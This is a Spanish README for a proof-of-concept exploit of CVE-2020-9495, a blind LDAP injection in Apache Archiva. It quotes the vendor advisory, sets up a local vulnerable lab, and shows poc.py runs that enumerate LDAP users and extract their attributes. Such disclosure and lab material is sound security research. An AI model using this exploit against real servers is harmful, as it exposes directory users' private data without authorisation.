
Exploit de prueba de concepto para CVE-2020-9495, una vulnerabilidad de inyección LDAP en Apache Archiva. Enumera usuarios LDAP y exfiltra valores de atributos arbitrarios mediante inyección ciega.
CVE-2020-9495 es una vulnerabilidad de inyección LDAP de gravedad media en Apache Archiva versiones anteriores a la 2.2.5. Permite a un atacante recuperar cualquier valor de atributo LDAP de usuarios que existan en el servidor LDAP.
Del aviso oficial de Apache Archiva:
Al proporcionar valores especiales al formulario de inicio de sesión de Archiva, un atacante puede recuperar datos de atributos de usuario del servidor LDAP conectado. Con ciertos caracteres es posible modificar el filtro LDAP utilizado para consultar los usuarios en el servidor LDAP conectado. Midiendo el tiempo de respuesta, se pueden recuperar datos de atributos arbitrarios de los objetos de usuario LDAP.
El script poc.py demuestra cómo un atacante no autorizado puede enumerar usuarios en un servidor LDAP integrado con Archiva y obtener el valor de cualquier atributo de cualquier usuario.
Omita este paso si ya tiene un servidor Archiva con autenticación LDAP habilitada.
Descargue Archiva 2.2.4 y extráigalo
$ wget https://archive.apache.org/dist/archiva/2.2.4/binaries/apache-archiva-2.2.4-bin.tar.gz
$ tar -zxf apache-archiva-2.2.4-bin.tar.gz
Ejecute el servidor OpenLDAP
$ docker run -p 2389:389 --name my-openldap-container osixia/openldap:1.3.0
Importe los usuarios de users.ldif a LDAP
$ ldapadd -x -D "cn=admin,dc=example,dc=org" -w admin -H ldap://localhost:2389 -f users.ldif
Ejecute el servidor de Archiva
$ bin/archiva console
Habilite y configure la autenticación LDAP a través de la interfaz web
$ ./poc.py --url http://127.0.0.1:8080
[INFO] Enumerating users from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
admin2
admin3
admin4
admin5
admin6
admin7
user1
user2
user3
user4
admin1$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr mail
[INFO] Exfiltrating mail attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
[email protected]
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr givenName
[INFO] Exfiltrating givenName attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
admin1
$ ./poc.py --url http://127.0.0.1:8080 --user admin1 --attr sn
[INFO] Exfiltrating sn attribute of admin1 user from http://127.0.0.1:8080
[INFO] Calibration...
[INFO] Calibration done
last